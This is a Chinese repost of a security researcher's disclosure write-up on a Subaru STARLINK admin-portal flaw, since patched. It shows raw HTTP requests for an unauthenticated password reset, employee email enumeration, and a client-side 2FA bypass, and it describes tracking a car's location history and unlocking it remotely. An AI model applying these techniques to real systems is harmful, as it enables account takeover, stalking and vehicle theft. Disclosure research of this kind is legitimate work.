入侵斯巴鲁:通过 STARLINK 管理面板追踪和控制汽车

admin 2025年5月6日13:58:24评论2 views字数 5571阅读18分34秒阅读模式

入侵斯巴鲁:通过 STARLINK 管理面板追踪和控制汽车

前言介绍

2024 年 11 月 20 日,Shubham Shah 和我发现斯巴鲁 STARLINK 联网汽车服务中存在一个安全漏洞,该漏洞使我们能够不受限制地有针对性地访问美国、加拿大和日本的所有车辆和客户账户。

利用该漏洞提供的访问权限,仅知道受害者姓氏和邮政编码、电子邮件地址、电话号码或车牌的攻击者就可以执行以下操作:

远程启动、停止、锁定、解锁和检索任何车辆的当前位置。 检索过去一年中任何车辆的完整位置历史记录,精确到 5 米以内,并在每次发动机启动时更新。 查询和检索任何客户的个人身份信息 (PII),包括紧急联系人、授权用户、实际地址、账单信息(例如信用卡的最后 4 位数字,不包括完整卡号)和车辆 PIN。 访问各种用户数据,包括支持呼叫历史记录、以前的所有者、里程表读数、销售历史记录等。 报告漏洞后,受影响的系统在 24 小时内得到修补,并且从未被恶意利用。

漏洞描述

入侵斯巴鲁:通过 STARLINK 管理面板追踪和控制汽车

仅凭车牌号,约 10 秒内即可接管一辆斯巴鲁,并获取车辆一年多的定位历史记录

入侵斯巴鲁:通过 STARLINK 管理面板追踪和控制汽车

地图显示 2023 款斯巴鲁 Impreza 的 1,600 个泄露坐标,任何联网的斯巴鲁汽车都可以检索到类似数据。

漏洞报告

审核 MySubaru 移动应用程序

我首先想测试的是 MySubaru 应用程序。该应用程序允许用户发送车辆命令,因此我使用 Burp Suite 代理了该应用程序,并拦截了远程信息处理命令 HTTP 请求,希望找到一个漏洞,以便在未经授权的情况下解锁汽车。

通过应用程序解锁汽车时发送了以下请求:

POST /g2v30/service/g2/unlock/execute.json;jsessionid=AE6E4482F5C4493A79C8F3BD656F8BBA HTTP/1.1Host: mobileapi.prod.subarucs.comContent-Type: application/jsonConnection: keep-aliveAccept: */*User-Agent: MySubaru-PROD-SOA/2024110100 CFNetwork/1568.300.101 Darwin/24.2.0Content-Length: 83Accept-Language: en-US,en;q=0.9Accept-Encoding: gzip, deflate, br{"delay": 0,"unlockDoorType""ALL_DOORS_CMD","vin""4S3GTAV64P3701234","pin""1234"}

在绕过应用内车辆命令的授权失败后,我进一步查看了该应用,但未发现任何值得测试的地方。一切似乎都得到了妥善的保护。端点并不多。授权机制运行良好。

也许测试 MySubaru 应用程序是错误的方法。

根据我过去在汽车公司工作的经验,我知道有些面向员工的公开应用程序的权限可能比面向客户的应用程序更大。考虑到这一点,我决定转移注意力,开始寻找其他与斯巴鲁相关的网站进行测试。

查找斯巴鲁管理面板

我通过 Discord 给朋友 Shubs 发了一条消息,问他是否有兴趣帮我找一些斯巴鲁的潜在员工申请。他答应了——然后立刻给我发了这条消息:

shubs — 11/19/2024have you seen this host before?subarucs.com

他注意到“my.subaru.com”(MySubaru 应用程序正在使用的域名)是“mys.prod.subarucs.com”(我之前从未见过的域名)的 CNAME。

nslookup my.subaru.comServer:         127.0.0.53Address:        127.0.0.53#53Non-authoritative answer:my.subaru.com   canonical name = www.mysubaru.com.www.mysubaru.com        canonical name = mys.prod.subarucs.com.Name:   mys.prod.subarucs.com

我们进行了扫描以查找其他子域并检查了输出:

STARLINK® Admin Portal - https://portal.prod.subarucs.com/login.html

嗯,这看起来确实像是员工功能。谷歌一下,发现 STARLINK 是斯巴鲁车载信息娱乐系统的名称,它为车辆提供了所有远程功能。这似乎是一个与之相关的管理面板。

入侵斯巴鲁:通过 STARLINK 管理面板追踪和控制汽车
斯巴鲁 STARLINK 管理面板

斯巴鲁 STARLINK 管理门户任意账户被接管

乍一看,这里似乎没什么内容。它只是一个登录面板,而且我们没有任何凭证。我查看了网站的源代码,希望能了解更多,而下面的内容引起了我的注意:

<script type="text/javascript" src="/assets/_js/starlinkEnroll.js"></script>

“/assets/_js/”文件夹下有一些有趣的 JavaScript 文件,这些文件被加载到登录页面,因此我继续对该目录进行暴力破解,希望找到其他 JavaScript 文件。

运行FFuF几分钟后,我们找到了“login.js”文件,其中包含以下非常有趣的代码片段:

$('#new_password_submit').on('click'function(e) { e.preventDefault();if($('#forgot-password-step4-form').valid()) {  disableBtns();  $.ajax({            url: "/forgotPassword/resetPassword.json",type"POST",            contentType: "application/json",            data: JSON.stringify({                email: email,                password: $('#new_password').val(),                passwordConfirmation: $('#confirm_new_password').val()            }),   async: false  }).done(function (response) {

似乎有一个“resetPassword.json”端点可以在没有确认令牌的情况下重置员工的帐户!

如果JavaScript代码确实有效,那么攻击者只需输入任何有效的员工邮箱地址即可接管其帐户。我发送了以下POST请求,以确认该功能确实可以访问:

HTTP 请求

POST /forgotPassword/resetPassword.json HTTP/1.1Host: portal.prod.subarucs.com{"email""[email protected]","password""Example123!","passwordConfirmation""Example123!"}

HTTP 响应

HTTP/1.1 200Content-type: application/jsonContent-length: 7“error”

它似乎有效,我们只需要找到一个员工的电子邮件地址来测试一下。由于这是一个相当大的应用程序,可能有很多不同的用户,我们只需要找到某种方法来枚举他们。我仔细研究了其余的 JS 代码,寻找一个可以让我们枚举电子邮件的端点,直到我看到以下内容:

HTTP 请求

GET /adminProfile/[email protected] HTTP/1.1Host: portal.prod.subarucs.com

HTTP 响应

HTTP/1.1 200Content-type: application/jsonContent-length: 7{"error""Invalid email"}

如果用户的电子邮件地址有效,上述端点将返回用户的安全问题。我们可以利用这一点来枚举用户账户,直到找到在该平台上活跃的用户。

枚举员工电子邮件

我们在 LinkedIn 上快速搜索了“斯巴鲁 STARLINK”,找到了几位看起来像是软件工程师的员工。找到他们的名字后,我们用 Google 搜索了一下,发现斯巴鲁的邮件格式如下:

[first_initial][last]@subaru.com

我们把拼凑起来的几封邮件扔进了“getSecurityQuestion.json”端点,然后点击发送。第四次尝试时,我们收到了回复!

<label for="securityQuestionId">  <span class="securityQuestionText">What city were you born in?</span></label>

(已删除)邮件[email protected]有效!我们回到重置密码端点,点击发送。

HTTP 请求

POST /forgotPassword/resetPassword.json HTTP/1.1Host: portal.prod.subarucs.com{"email""[email protected]","password""Example123!","passwordConfirmation""Example123!"}

HTTP 响应

HTTP/1.1 200Date: Wed, 20 Nov 2024 03:02:31 GMTContent-Type: application/jsonConnection: closeX-Frame-Options: SAMEORIGINContent-Length: 9"success"

成功了!我们尝试登录。

入侵斯巴鲁:通过 STARLINK 管理面板追踪和控制汽车

我们成功控制了一名员工的账户,但现在实际使用网站时会弹出双重身份验证的提示。这是自定义的,所以我们尝试看看有什么办法可以绕过它。

绕过2FA

我们尝试了能想到的最简单的方法:从 UI 中删除客户端覆盖。

匹配

$('#securityQuestionModal').modal('show');

代替

//$('#securityQuestionModal').modal('show');

移除客户端覆盖层后,我们点击了一下,整个应用似乎运行正常。所有按钮都正常工作,并且正在返回服务器端数据。

入侵斯巴鲁:通过 STARLINK 管理面板追踪和控制汽车
2FA 被绕过

追踪过去一年的情况

左侧导航栏有很多不同的功能,但最有趣的功能是“最后已知位置”。我输入了我妈妈的姓氏和邮政编码。她的车出现在搜索结果中。我点击它,看到了我妈妈去年去过的所有地方:

日期 里程表 地点2024年11月21日 下午6:18:56 14472.6 41.30136,-96.1611422024年11月21日 上午4:59:51 14472.6 41.301402,-96.1611342024年11月21日 上午4:49:02 14472.6 41.301286,-96.161145… … …2023年11月2日下午1:44:24 6440.6 41.256003,-96.0806272023年11月1日 下午9:52:47 6432.5 41.301248,-96.1599512023年11月1日下午12:16:02 6425.2 41.259397,-96.078775

“最后已知位置”端点不仅仅是记录最后的位置,它还提供了她在过去一年中启动引擎或使用远程信息处理命令的所有地点的精确坐标。我之前并没有意识到这些数据被收集了,但看起来我们在购买 STARLINK 服务时就同意了。

为了更好地理解这些数据,我从我妈妈的2023款翼豹车里导出了一年的位置历史记录,并将其导入到下面的谷歌地图iframe中。下面的地图是经过稍微修改的导出版本(删除了一些敏感信息),包含了她访问过的所有地点。

斯巴鲁一年的定位历史可视化

入侵斯巴鲁:通过 STARLINK 管理面板追踪和控制汽车

地图显示 2023 款斯巴鲁 Impreza 的 1,600 个泄露坐标,任何联网的斯巴鲁汽车都可以检索到类似数据

入侵斯巴鲁:通过 STARLINK 管理面板追踪和控制汽车
我们的 STARLINK 购买协议历史记录,可从管理面板访问

还有大量其他端点。其中之一是车辆搜索,可以查询客户的姓氏和邮政编码、电话号码、电子邮件地址或 VIN 号码(可通过车牌检索),并授予/修改其车辆访问权限。

入侵斯巴鲁:通过 STARLINK 管理面板追踪和控制汽车
检索任何斯巴鲁 STARLINK 客户的街道地址、电话号码、电子邮件、紧急联系人、授权用户和账单信息
入侵斯巴鲁:通过 STARLINK 管理面板追踪和控制汽车
STARLINK 搜索功能允许您通过邮政编码和姓氏、VIN、电子邮件地址和电话号码进行搜索

解锁朋友的车

在仪表盘上搜索并找到自己的车后,我确认 STARLINK 管理仪表盘应该可以访问美国、加拿大和日本几乎所有的斯巴鲁车型。为了确认没有遗漏任何信息,我们联系了一位朋友,询问能否入侵她的车,以证明没有任何先决条件或功能可以阻止车辆完全接管。

她给我们发来了她的车牌号,我们在管理面板中找到了她的车辆,最后我们将自己添加到了她的车上。

入侵斯巴鲁:通过 STARLINK 管理面板追踪和控制汽车
将我们自己添加为朋友斯巴鲁的授权用户,以证明我们可以在他们的车辆上执行命令

我们等了几分钟,然后看到我们的帐户已成功创建。

入侵斯巴鲁:通过 STARLINK 管理面板追踪和控制汽车
image

现在我们终于可以访问了,我问他们能不能看看外面,看看他们的车有没有出什么问题。我发送了“解锁”命令。然后他们给我们发来了这段视频。

入侵斯巴鲁:通过 STARLINK 管理面板追踪和控制汽车
入侵斯巴鲁:通过 STARLINK 管理面板追踪和控制汽车
成功!

之后,她确认,当我们将自己添加为授权用户并解锁她的汽车后,她没有收到任何通知、短信或电子邮件。

时间线

2024 年 11 月 20 日晚上 11:54 CST:初步报告已发送至 SecOps 电子邮件

2024年11月21日上午7:40 CST:斯巴鲁团队的初步回应

2024 年 11 月 21 日下午 4:00 CST:漏洞已修复,无法重现

2025年1月23日上午6:00(中部标准时间):博客文章发布

原文始发于微信公众号(夜组OSINT):入侵斯巴鲁:通过 STARLINK 管理面板追踪和控制汽车

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月6日13:58:24
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   入侵斯巴鲁:通过 STARLINK 管理面板追踪和控制汽车https://cn-sec.com/archives/4032783.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息